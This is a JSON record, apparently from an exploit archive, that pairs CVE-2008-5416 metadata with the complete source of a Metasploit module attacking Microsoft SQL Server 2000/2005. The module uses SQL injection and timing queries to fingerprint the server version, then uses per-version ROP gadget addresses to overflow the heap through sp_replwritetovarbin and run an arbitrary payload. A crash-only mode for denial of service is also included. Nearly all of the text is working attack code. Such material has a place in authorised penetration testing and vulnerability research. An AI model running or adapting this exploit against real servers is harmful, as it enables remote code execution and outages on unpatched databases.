{"exploit":{"id":"EDB-16396","name":"Microsoft SQL Server - sp_replwritetovarbin Memory Corruption (MS09-004) (via SQL Injection) (Metasploit)","description":"Microsoft SQL Server - sp_replwritetovarbin Memory Corruption (MS09-004) (via SQL Injection) (Metasploit)","cves":["CVE-2008-5416"],"author":"Metasploit","published":"2011-02-08","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16396","path":"exploits/windows/remote/16396.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16396.rb","vulnerabilities":[{"id":"CVE-2008-5416","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in Microsoft SQL Server 2000 SP4, 8.00.2050, 8.00.2039, and earlier; SQL Server 2000 Desktop Engine (MSDE 2000) SP4; SQL Server 2005 SP2 and 9.00.1399.06; SQL Server 2000 Desktop Engine (WMSDE) on Windows Server 2003 SP1 and SP2; and Windows Internal Database (WYukon) SP2 allows remote authenticated users to cause a denial of service (access violation exception) or execute arbitrary code by calling the sp_replwritetovarbin extended stored procedure with a set of invalid parameters that trigger memory overwrite, aka \"SQL Server sp_replwritetovarbin Limited Memory Overwrite Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5416","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5416"},"updatedAt":"2024-08-07T10:56:45.789Z","retrievedAt":"2026-11-26T12:06:11.878Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16396.png?v=2","url":"https://exploitbin.com/exploits/EDB-16396","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16396/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16396/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11730 2011-02-08 23:31:44Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::MSSQL_SQLI\n\n\tdef initialize(info = {})\n\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tA heap-based buffer overflow can occur when calling the undocumented\n\t\t\t\t\"sp_replwritetovarbin\" extended stored procedure. This vulnerability affects\n\t\t\t\tall versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,\n\t\t\t\tand Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.\n\t\t\t\tMicrosoft patched this vulnerability in SP3 for 2005 without any public\n\t\t\t\tmention.\n\n\t\t\t\tThis exploit smashes several pointers, as shown below.\n\n\t\t\t\t1. pointer to a 32-bit value that is set to 0\n\t\t\t\t2. pointer to a 32-bit value that is set to a length influcenced by the buffer\n\t\t\t\t\tlength.\n\t\t\t\t3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,\n\t\t\t\t\tthis value is referenced with a displacement of 0x38. For MSSQL 2005, the\n\t\t\t\t\tdisplacement is 0x10. The address of our buffer is conveniently stored in\n\t\t\t\t\tecx when this instruction is executed.\n\t\t\t\t4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with\n\t\t\t\t\ta displacement of 4. This pointer is not used by this exploit.\n\n\t\t\t\tThis particular exploit replaces the previous dual-method exploit. It uses\n\t\t\t\ta technique where the value contained in ecx becomes the stack. From there,\n\t\t\t\treturn oriented programming is used to normalize the execution state and\n\t\t\t\tfinally execute the payload via a \"jmp esp\". All addresses used were found\n\t\t\t\twithin the sqlservr.exe memory space, yielding very reliable code execution\n\t\t\t\tusing only a single query.\n\n\t\t\t\tNOTE: The MSSQL server service does not automatically restart by default. That\n\t\t\t\tsaid, some exceptions are caught and will not result in terminating the process.\n\t\t\t\tIf the exploit crashes the service prior to hijacking the stack, it won't die.\n\t\t\t\tOtherwise, it's a goner.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'jduck',          # MS09-004 base exploit\n\t\t\t\t\t'Rodrigo Marcos'  # SQL Injection mods\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 11730 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'OSVDB', '50589' ],\n\t\t\t\t\t[ 'CVE', '2008-5416' ],\n\t\t\t\t\t[ 'BID', '32710' ],\n\t\t\t\t\t[ 'MSB', 'MS09-004' ],\n\t\t\t\t\t[ 'URL', 'http://www.milw0rm.com/exploits/7501' ],\n\t\t\t\t\t[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/exploiting-ms09-004-via-sql-injection/' ]\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'seh',\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f'\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 512,\n\t\t\t\t\t'BadChars' => \"\", # bad bytes get encoded!\n\t\t\t\t\t'PrependEncoder' => \"\\x81\\xc4\\xf0\\xef\\xff\\xff\",\n\t\t\t\t\t'DisableNops' => true\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Privileged'     => true,\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# auto targeting!\n\t\t\t\t\t[ 'Automatic', { } ],\n\n\t\t\t\t\t#\n\t\t\t\t\t# Individual targets\n\t\t\t\t\t#\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server  2000 - 8.00.194 (Intel X86)\n\t\t\t\t\t\t# Aug  6 2000 00:57:48\n\t\t\t\t\t\t'MSSQL 2000 / MSDE SP0 (8.00.194)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash\n\t\t\t\t\t\t\t'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x00a87f26,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x6900a7,    # not directly used - call [ecx+0x08]\n\t\t\t\t\t\t\t'Disp'     => 0x08,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x0041b78f,  # xchg ecx,esp / sbb [eax],al / pop esi / ret\n\t\t\t\t\t\t\t'Popped'   => 0x4,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x28,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x0071f5fb,  # advance esp to next ret (add esp,0x20 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x0041c9a2   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server  2000 - 8.00.384 (Intel X86)\n\t\t\t\t\t\t# May 23 2001 00:02:52\n\t\t\t\t\t\t'MSSQL 2000 / MSDE SP1 (8.00.384)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash\n\t\t\t\t\t\t\t'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x00a95b2f,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x4b4f00,    # not directly used - call [ecx-0x18]\n\t\t\t\t\t\t\t'Disp'     => 0x34,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x0044d300,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x8,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x28,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x004a2ce9,  # advance esp to next ret (add esp,0x1c / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x004caa15   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server  2000 - 8.00.534 (Intel X86)\n\t\t\t\t\t\t# Nov 19 2001 13:23:50\n\t\t\t\t\t\t'MSSQL 2000 / MSDE SP2 (8.00.534)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash\n\t\t\t\t\t\t\t'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x00a64f7e,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x660077,    # not directly used - call [ecx-0x18]\n\t\t\t\t\t\t\t'Disp'     => 0x34,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x0054131c,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x8,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x28,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x005306a0,  # advance esp to next ret (add esp,0x1c / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x004ca984   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server  2000 - 8.00.760 (Intel X86)\n\t\t\t\t\t\t# Dec 17 2002 14:22:05\n\t\t\t\t\t\t'MSSQL 2000 / MSDE SP3 (8.00.760)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash\n\t\t\t\t\t\t\t'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x00ac344e,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x490074,    # not directly used - call [ecx+0x14]\n\t\t\t\t\t\t\t'Disp'     => 0x34,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x00454303,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x8,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x28,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x00503413,  # advance esp to next ret (add esp,0x20 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x0043fa97   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)\n\t\t\t\t\t\t# May  3 2005 23:18:38\n\t\t\t\t\t\t'MSSQL 2000 / MSDE SP4 (8.00.2039)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash\n\t\t\t\t\t\t\t'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x0046592e,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x69f5e8,    # not directly used - call [ecx+0x14]\n\t\t\t\t\t\t\t'Disp'     => 0x14,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x007b39a8,  # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4\n\t\t\t\t\t\t\t'Popped'   => 0x4,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x20,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x00b3694d,  # advance esp to next ret (add esp,0x20 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x0047c89d   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)\n\t\t\t\t\t\t# Oct 14 2005 00:33:37\n\t\t\t\t\t\t'MSSQL 2005 SP0 (9.00.1399.06)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash\n\t\t\t\t\t\t\t'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x02201ca8,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x10e860f,   # not directly used - call [ecx+0x14]\n\t\t\t\t\t\t\t'Disp'     => 0x50,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x0181c0d4,  # push ecx / pop esp / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x4,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x20,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x0147deb7,  # advance esp to next ret (add esp,0x10 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x0112c2c7   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)\n\t\t\t\t\t\t# Apr 14 2006 01:12:25\n\t\t\t\t\t\t'MSSQL 2005 SP1 (9.00.2047.00)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash\n\t\t\t\t\t\t\t'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x0244c803,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x17139e9,   # not directly used - call [ecx+0x14]\n\t\t\t\t\t\t\t'Disp'     => 0x52,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x0183bf9c,  # push ecx / pop esp / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x4,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x20,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x014923c1,  # advance esp to next ret (add esp,0x10 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x011b204c   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[\n\t\t\t\t\t\t# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)\n\t\t\t\t\t\t# Feb  9 2007 22:47:07\n\t\t\t\t\t\t'MSSQL 2005 SP2 (9.00.3042.00)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Num'      => 32,          # value for \"start_offset\"\n\t\t\t\t\t\t\t'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr\n\t\t\t\t\t\t\t'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash\n\t\t\t\t\t\t\t'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)\n\t\t\t\t\t\t\t'Vtable'   => 0x027fca52,  # becomes eax for [eax+0x38] (must be valid to exec)\n\t\t\t\t\t\t\t'FixDisp'  => 0x1106d6b,   # not directly used - call [ecx+0x14]\n\t\t\t\t\t\t\t'Disp'     => 0x52,        # displacement on call [ecx+disp] used\n\t\t\t\t\t\t\t'ecx2esp'  => 0x01849641,  # push ecx / pop esp / pop ebp / ret\n\t\t\t\t\t\t\t'Popped'   => 0x4,         # byte count popped in above (before ret)\n\t\t\t\t\t\t\t'Offset'   => 0x20,        # offset to the new stack!\n\t\t\t\t\t\t\t'FixESP'   => 0x01498b22,  # advance esp to next ret (add esp,0x10 / ret)\n\t\t\t\t\t\t\t'Ret'      => 0x010a5379   # jmp esp\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\n\t\t\t\t\t[ 'CRASHER', { } ]\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Dec 09 2008'\n\t\t\t))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])\n\t\t\t])\n\tend\n\n\tdef check\n\t\t# the ping to port 1434 method has two drawbacks...\n\t\t# #1, it doesn't work on mssql 2005 or newer (localhost only listening)\n\t\t# #2, it doesn't give an accurate version number (sp/os)\n\n\t\t# since we need to have credentials for this vuln, we just login and run a query\n\t\t# to get the version information\n\t\tif not (version = mssql_query_version)\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\t\tprint_status(\"@@version returned:\\n\\t\" + version)\n\n\t\t# Any others?\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /8\\.00\\.194/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /8\\.00\\.384/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /8\\.00\\.534/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /8\\.00\\.760/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /8\\.00\\.2039/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /9\\.00\\.1399\\.06/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /9\\.00\\.2047\\.00/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /9\\.00\\.3042\\.00/)\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\n\t\tmytarget = nil\n\t\tif target.name =~ /Automatic/\n\t\t\tprint_status(\"Attempting automatic target detection...\")\n\n\t\t\tversion = mssql_query_version\n\t\t\traise RuntimeError, \"Unable to get version!\" if not version\n\n\t\t\tif (version =~ /8\\.00\\.194/)\n\t\t\t\tmytarget = targets[1]\n\t\t\telsif (version =~ /8\\.00\\.384/)\n\t\t\t\tmytarget = targets[2]\n\t\t\telsif (version =~ /8\\.00\\.534/)\n\t\t\t\tmytarget = targets[3]\n\t\t\telsif (version =~ /8\\.00\\.760/)\n\t\t\t\tmytarget = targets[4]\n\t\t\telsif (version =~ /8\\.00\\.2039/)\n\t\t\t\tmytarget = targets[5]\n\t\t\telsif (version =~ /9\\.00\\.1399\\.06/)\n\t\t\t\tmytarget = targets[6]\n\t\t\telsif (version =~ /9\\.00\\.2047\\.00/)\n\t\t\t\tmytarget = targets[7]\n\t\t\telsif (version =~ /9\\.00\\.3042\\.00/)\n\t\t\t\tmytarget = targets[8]\n\t\t\tend\n\n\t\t\tif mytarget.nil?\n\t\t\t\traise RuntimeError, \"Unable to automatically detect the target\"\n\t\t\telse\n\t\t\t\tprint_status(\"Automatically detected target \\\"#{mytarget.name}\\\"\")\n\t\t\tend\n\t\telse\n\t\t\tmytarget = target\n\t\tend\n\n\t\tsqlquery = %Q|declare @i int,@z nvarchar(4000)\nset @z='declare @e int,@b varbinary,@l int;'\nset @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'\nexec sp_executesql @z|\n\n\t\t# just crash it with a pattern buffer if the CRASHER target is selected..\n\t\tif mytarget.name == 'CRASHER'\n\t\t\tsploit = Rex::Text.pattern_create(2048)\n\t\t\tprint_status(\"Attempting to corrupt memory to cause an exception!\")\n\t\t\tnum = 32\n\t\telse\n\t\t\t# trigger the memory corruption\n\t\t\tnum = mytarget['Num']\n\t\t\tvt_off = mytarget['VtOff']\n\t\t\tvt_disp = mytarget['VtDisp']\n\t\t\tvtable = mytarget['Vtable']\n\t\t\tecx_disp = mytarget['Disp']\n\t\t\tesp_off = mytarget['Offset']\n\t\t\thijack_esp = mytarget['ecx2esp']\n\t\t\tfirst_esp = mytarget['Popped']\n\t\t\tfix_esp = mytarget['FixESP']\n\t\t\twritable = mytarget['Writable']\n\t\t\tcorruptable_bytes = 0x44\n\n\t\t\t# make sploit buff\n\t\t\tsz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length\n\t\t\t#sploit = Rex::Text.pattern_create(sz)\n\t\t\tsploit = rand_text_alphanumeric(sz)\n\n\t\t\t# remove displacement! (using call [ecx+displacement])\n\t\t\tvtable_off = (num + vt_off)\n\t\t\tsploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')\n\n\t\t\t# stack -> heap\n\t\t\thijack_off = vtable_off + ecx_disp\n\t\t\tsploit[hijack_off,4] = [hijack_esp].pack('V')\n\t\t\t# becomes eax on mssql 2ksp4 (prevent crash)\n\t\t\tsploit[(vtable_off-4),4] = [writable].pack('V')\n\n\t\t\t# becomes eip after esp hijack\n\t\t\tfixesp_off = vtable_off + first_esp\n\t\t\tsploit[fixesp_off,4] = [fix_esp].pack('V')\n\n\t\t\t# rest of magic stack (disable DEP?)\n\t\t\tstack_off = vtable_off + esp_off\n\t\t\tstack = []\n\t\t\tstack << mytarget['Ret']\n\t\t\tstack = stack.pack('V*')\n\t\t\t# jump over the stuff that gets corrupted\n\t\t\tstack << \"\\xeb\" + [corruptable_bytes].pack('C')\n\t\t\tstack << rand_text_alphanumeric(corruptable_bytes)\n\t\t\tstack << payload.encoded\n\t\t\tsploit[stack_off,stack.length] = stack\n\n\t\t\t# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff\n\t\t\tsploit[hijack_off,4] = [hijack_esp].pack('V')\n\n\t\t\tprint_status(\"Redirecting flow to %#x via call to our faked vtable ptr @ %#x\" % [mytarget['FixDisp'], vtable])\n\t\tend\n\n\t\t# encode chars that get modified\n\t\tenc = mssql_encode_string(sploit)\n\n\t\t# put the number in (start offset)\n\t\trunme = sqlquery.gsub(/%NUM%/, num.to_s)\n\t\trunme.gsub!(/%STUFF%/, enc)\n\n\t\t# go!\n\t\tprint_status('The SQL Server will probably die after exploitation. Follow the \"POSTEXPLOITATION\" instructions in the README file')\n\t\tbegin\n\t\t\tmssql_query(runme, datastore['VERBOSE'])\n\t\trescue ::Errno::ECONNRESET, EOFError\n\t\t\tprint_error(\"Error: #{$!}\")\n\t\tend\n\n\t\thandler\n\t\tdisconnect\n\tend\n\n\n\tdef mssql_str_to_chars(str)\n\t\tret = \"\"\n\t\tstr.unpack('C*').each do |ch|\n\t\t\tret += \"+\" if ret.length > 0\n\t\t\tret += \"char(\"\n\t\t\tret << ch.to_s\n\t\t\tret += \")\"\n\t\tend\n\t\treturn ret\n\tend\n\n\n\tdef mssql_encode_string(str)\n\t\tbadchars = \"\\x00\\x80\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8e\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9e\\x9f\"\n\n\t\tenc = \"\"\n\t\tin_str = true\n\t\tstr.unpack('C*').each do |ch|\n\t\t\t# double-double single quotes\n\t\t\tif ch == 0x27\n\t\t\t\tif not in_str\n\t\t\t\t\tenc << \"+'\"\n\t\t\t\t\tin_str = true\n\t\t\t\tend\n\t\t\t\tenc << ch.chr * 4\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\t# double backslashes\n\t\t\tif ch == 0x5c\n\t\t\t\tif not in_str\n\t\t\t\t\tenc << \"+'\"\n\t\t\t\t\tin_str = true\n\t\t\t\tend\n\t\t\t\tenc << ch.chr * 2\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\t# convert any bad stuff to char(0xXX)\n\t\t\tif ((idx = badchars.index(ch.chr)))\n\t\t\t\tenc << \"'\" if in_str\n\t\t\t\tenc << \"+char(0x%x)\" % ch\n\t\t\t\tin_str = false\n\t\t\telse\n\t\t\t\tenc << \"+'\" if not in_str\n\t\t\t\tenc << ch.chr\n\t\t\t\tin_str = true\n\t\t\tend\n\t\tend\n\t\tenc << \"+'\" if not in_str\n\t\treturn enc\n\tend\n\n\n\tdef mssql_query_version\n\n\t\tdelay = 5\n\n\t\t# Let's first check that we can reach the host with no problems\n\t\tt = Time.now\n\t\tres = mssql_query(\"select @@version\",datastore['VERBOSE'])\n\t\tresponse_time = Time.now-t\n\t\tif (response_time > delay)\n\t\t\treturn nil\n\t\tend\n\n\t\t# Now we test the SQL Server versions\n\t\tversions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00]\n\t\tversions.each_with_index { |version,i|\n\t\t\tt = Time.now\n\t\t\tres = mssql_query(\"if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'\",datastore['VERBOSE'])\n\t\t\tresponse_time = Time.now-t\n\t\t\tif (response_time > delay)\n\t\t\t\treturn version\n\t\t\tend\n\t\t}\n\n\t\treturn nil\n\tend\n\nend","sha256":"ac034b3e067c727565cd4c45ba8e0ee659a6ff61f11d29faae4f862821d57f01","bytes":18321,"fetchedAt":"2026-11-26T12:06:11.643Z","encoding":"utf-8 (display only; download retains original bytes)"}